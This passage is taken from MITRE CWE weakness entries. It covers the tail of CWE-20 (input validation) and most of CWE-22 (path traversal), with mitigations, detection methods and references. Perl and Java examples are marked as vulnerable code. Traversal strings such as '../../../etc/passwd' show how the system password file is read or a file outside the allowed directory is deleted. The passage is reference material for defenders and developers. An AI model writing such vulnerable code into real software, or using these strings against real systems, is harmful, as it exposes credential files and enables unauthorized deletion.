Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
+ Detection Methods

Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis.

A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present.

Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Manual Static Analysis

When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.

Fuzzing

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer
Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.738CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.746CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.872CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.994SFP Secondary Cluster: Tainted Input to Variable
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
+ Notes

Maintenance

As of 2020, this entry is used more often than preferred, and it is a source of frequent confusion. It is being actively modified for CWE 4.1 and subsequent versions.

Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.

Maintenance

Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.

Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

Terminology

The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships.

Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it." CWE uses this more narrow interpretation.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsInput validation and representation
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
CERT C Secure CodingERR07-CPrefer functions that support error checking over equivalent functions that don't
CERT C Secure CodingFIO30-CCWE More AbstractExclude user input from format strings
CERT C Secure CodingMEM10-CDefine and use a pointer validation function
WASC20Improper Input Handling
Software Fault PatternsSFP25Tainted input to variable
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-166] Jim Manico. "Input Validation with ESAPI - Very Important". 2008-08-15. <http://manicode.blogspot.com/2008/08/input-validation-with-esapi.html>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-168] Joel Scambray, Mike Shema and Caleb Sima. "Hacking Exposed Web Applications, Second Edition". Input Validation Attacks. McGraw-Hill. 2006-06-05.
[REF-48] Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007-01-30. <http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html>.
[REF-170] Kevin Beaver. "The importance of input validation". 2006-09-06. <http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 10, "All Input Is Evil!" Page 341. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-1109] "LANGSEC: Language-theoretic Security". <http://langsec.org/>.
[REF-1110] "LangSec: Recognition, Validation, and Compositional Correctness for Real World Security". <http://langsec.org/bof-handout.pdf>.
[REF-1111] Sergey Bratus, Lars Hermerschmidt, Sven M. Hallberg, Michael E. Locasto, Falcon D. Momot, Meredith L. Patterson and Anna Shubina. "Curing the Vulnerable Parser: Design Patterns for Secure Input Handling". USENIX ;login:. 2017. <https://www.usenix.org/system/files/login/articles/login_spring17_08_bratus.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-197 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships
2009-03-10CWE Content TeamMITRE
updated Description, Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Relationships, Research_Gaps, Terminology_Notes
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations, Research_Gaps, Terminology_Notes
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2011-03-29CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationship_Notes
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2020-06-25CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Terminology_Notes
2020-08-20CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Insufficient Input Validation

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Weakness ID: 22
Abstraction: Base
Structure: Simple
Status: Stable
Presentation Filter:
+ Description
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
+ Extended Description

Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

+ Alternate Terms
Directory traversal
Path traversal:
"Path traversal" is preferred over "directory traversal," but both terms are attack-focused.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.36Absolute Path Traversal
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.172Encoding Error
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.36Absolute Path Traversal
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.
Integrity

Technical Impact: Modify Files or Directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.
Confidentiality

Technical Impact: Read Files or Directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

(bad code)
Example Language: Perl 
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
print "<li>$_</li>\n";
}
print "</ul>\n";

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

(attack code)
 
../../../etc/passwd

The program would generate a profile pathname like this:

(result)
 
/users/cwe/profiles/../../../etc/passwd

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

(result)
 
/etc/passwd

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 2

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

(bad code)
Example Language: Java 
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 3

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

(bad code)
Example Language: Perl 
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

(attack code)
 
../../../etc/passwd

will have the first "../" stripped, resulting in:

(result)
 
../../etc/passwd

This value is then concatenated with the /home/user/ directory:

(result)
 
/home/user/../../etc/passwd

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Example 4

The following code attempts to validate a given input path by checking it against an allowlist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

(bad code)
Example Language: Java 
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
File f = new File(path);
f.delete()
}

An attacker could provide an input such as this:

(attack code)
 
/safe_dir/../important.dat

The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory

Example 5

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

(good code)
Example Language: HTML 
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:

<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(bad code)
Example Language: Java 
public class FileUploadServlet extends HttpServlet {

...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {

// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();
} catch (IOException ex) {...}

// output successful upload response HTML page

}
// output unsuccessful upload response HTML page
else
{...}
}

...
}

This code does not check the filename that is provided in the header, so an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Also, this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code (CWE-434).

+ Observed Examples
ReferenceDescription
Newsletter module allows reading arbitrary files using "../" sequences.
FTP server allows deletion of arbitrary files using ".." in the DELE command.
FTP server allows creation of arbitrary directories using ".." in the MKD command.
OBEX FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using ".." sequences.
Software package maintenance program allows overwriting arbitrary files using "../" sequences.
Bulletin board allows attackers to determine the existence of files using the avatar.
PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function.
Overwrite of files using a .. in a Torrent file.
Chat program allows overwriting files using a custom smiley request.
Chain: external control of values for user's desired language and theme enables path traversal.
Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:

  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation

Strategy: Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the software's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness: High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
